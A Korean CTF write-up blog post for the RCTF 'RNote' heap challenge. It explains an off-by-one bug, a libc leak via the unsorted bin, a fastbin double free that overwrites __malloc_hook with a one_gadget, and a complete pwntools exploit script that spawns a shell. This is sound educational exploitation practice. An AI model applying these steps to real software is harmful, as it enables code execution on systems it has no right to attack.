1. Mitigation
1 2 3 4 5 6 | [*] '/home/juntae/ctf/Rctf/Rnote/RNote' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) | cs |
적당적당히 미티게이션이 걸려있다.
2. Analysis
1 2 3 4 5 6 7 8 9 10 | ssize_t menu() { write(1, "***********************\n", 0x18uLL); write(1, "1.Add new note\n", 0xFuLL); write(1, "2.Delete a note\n", 0x10uLL); write(1, "3.Show a note\n", 0xEuLL); write(1, "4.Exit\n", 7uLL); write(1, "***********************\n", 0x18uLL); return write(1, "Your choice: ", 0xDuLL); } | cs |
간단한 메뉴이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | __int64 add() { void *buf; // ST00_8 int v2; // [rsp+8h] [rbp-8h] signed int i; // [rsp+Ch] [rbp-4h] write(1, "Please input the note size: ", 0x1CuLL); v2 = read_int(); if ( v2 > 0x100 ) { write(1, "Stop heap abuse!!\n", 0x12uLL); exit(0); } for ( i = 0; i <= 15 && *(&check + 8 * i); ++i ) ; if ( i > 15 ) { write(1, "Too much note!!\n", 0x10uLL); exit(0); } memset(&check + 32 * i + 8, 0, 0x10uLL); buf = malloc(v2); qword_6020F8[4 * i] = buf; write(1, "Please input the title: ", 0x18uLL); input_title(&check + 32 * i + 8, 16); write(1, "Please input the content: ", 0x1AuLL); if ( read(0, buf, v2) < 0 ) exit(1); | cs |
size를 입력받고, title과 content를 입력받는다.
여기서 title은 전역변수에다가 input_tilte함수로 입력받는다.
input_tilte함수는 인자를
1 | input_title(&check + 32 * i + 8, 16); | cs |
요렇게 넘긴다.
내부를 보면..
1 | for ( i = 0; i <= 15 && *(&check + 8 * i); ++i ) | cs |
이렇게 <=를 이용하는데, 이거때문에 off by one 취약점이 발생해서 전역변수 맨 끝에 1byte를 변조할 수 있다.
나머지 메뉴는 그냥 free해주고, 출력해주는 메뉴이다.
3. Leak
0ctf의 babyheap 문제처럼 unsorted bin을 이용해서 main_arena를 leak해서 libc base를 구한다.
1. small size의 chunk를 두개 할당한다.
- 하나만 할당하면 unsorted bin으로 안들어간다.
2. 첫번째로 할당한걸 free한다.
- unsorted bin으로 들어간다.
3. small size의 chunk를 하나 할당한다.
- 이 chunk의 fd,bk는 main_arena + 88을 가르키고있다.
4. show를 이용해 이친구를 출력한다.
- main_arena + 88이 leak된다.
4. Exploit
사실 FULL RELRO가 아니라 got를 덮어도 되긴 한다.
근데 malloc hook덮는게 더 편하다.
그래서 malloc hook을 덮을꺼다.
위에서 설명했듯이 1바이트 오버플로우로 fastbin dup내서 조질꺼당.
1. fastbin 3개 할당.
- chunk들의 title(heap) 부분은 전역변수에서 관리하고, 1byte overflow의로 값을 주작칠 수 있다.
- 2번 index의 힙부분 끝에 1byte를 주작쳐서 0번 인덱스의 주소로 한다.
2. fastbin 3개를 free한다.
- 0번 index를 free하고..
- 1번 index도 free하고..
- 2번 index도 free한다.
- 2번 index는 0번 인덱스의 주소이므로 2번을 free하는것 = 0번을 free하는것이다.
- Double Free Bug가 트리거된다!
3. fastbin을 할당한다.
- context는 malloc_hook - 0x23으로 해준다.
- 이 부분에 0x7f가 적혀있는데, 이 부분을 size로 착각하게 해서 덮이게 하기 위해서이다.
4. fastbin 두개를 더 할당한다.
- 요기까지는 아무일도 일어나지 않는다.
- 하지만 다음에 할당하는 chunk는 malloc_hook - 0x23에 할당된다.
5. fastbin 하나를 더 할당하고, context를 이용하여 oneshot gadget을 덮자.
- 요기부분이 malloc_hook - 23이다.
- 적당히 값을 덮어서 malloc_hook에 oneshot gadget을 덮자.
6. 다음에 말록을 성공하면 쉘이 따인다.
5. Exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") e = ELF("./RNote") r = process("./RNote") def add(size,title,content): r.sendlineafter("Your choice: ","1") r.sendlineafter("note size: ",str(size)) r.sendlineafter("input the title: ",title) r.sendlineafter("input the content: ",content) def delete(index): r.sendlineafter("Your choice: ","2") r.sendlineafter("want to delete: ",str(index)) def show(index): r.sendlineafter("Your choice: ","3") r.sendlineafter("want to show: ",str(index)) main_arena = 0x3c4b20 one_gadget = 0xf1147 add(200,"AAAA","AAAA") #(0) add(200,"AAAA","AAAA") #(1) delete(0) #go to unsorted bin !! add(200,"AAAA","AAAA") #and (0)'s fd,bk = main_arena+88 show(0) #leak main_arena!! #we have three chunk (0),(1),(2) r.recvuntil("note content: AAAA\n") r.recvuntil("\x7f") leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") libc_base = leak - (main_arena + 88) one_gadget = libc_base + one_gadget malloc_hook = libc_base + libc.symbols["__malloc_hook"] log.info("leak(main_arena + 88) : " + hex(leak)) log.info("libc_base : " + hex(libc_base)) log.info("oneshot gadget : " + hex(one_gadget)) log.info("malloc hook : " + hex(malloc_hook)) delete(0) delete(1) delete(2) #(X),(X),(X) add(96,"AAAA","AAAA") add(96,"BBBB","BBBB") add(96,"C"*16+"\x10","CCCC") #overflow (2) point to (0) #(0),(1),(2) delete(0) delete(1) delete(2) #same delete(0) add(96,"AAAA",p64(malloc_hook-0x23)) #fastbin dup add(96,"BBBB","BBBB") add(96,"CCCC","CCCC") add(96,"DDDD","D"*19 + p64(one_gadget)) #malloc in malloc_hook-0x23 r.sendlineafter("Your choice: ","1") r.sendlineafter("note size: ","1") r.interactive() | cs |
확실히 한문제 라업보고 빡공하니까 이번문제는 이해가 잘간다.
이제 어느정도 fast bin dup이랑 unsorted bin은 이해가 간거같다.
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[hackingcamp] bofforever ( write-up ) (0) | 2019.08.25 |
---|---|
[SSTF] bofsb ( write-up ) (0) | 2019.08.20 |
[HITCON] Sleepy Holder ( write-up ) (0) | 2019.08.04 |
[0ctf] babyheap ( write-up ) (0) | 2019.08.02 |
[PlaidCTF] ropasaurusrex ( write-up ) (0) | 2019.04.14 |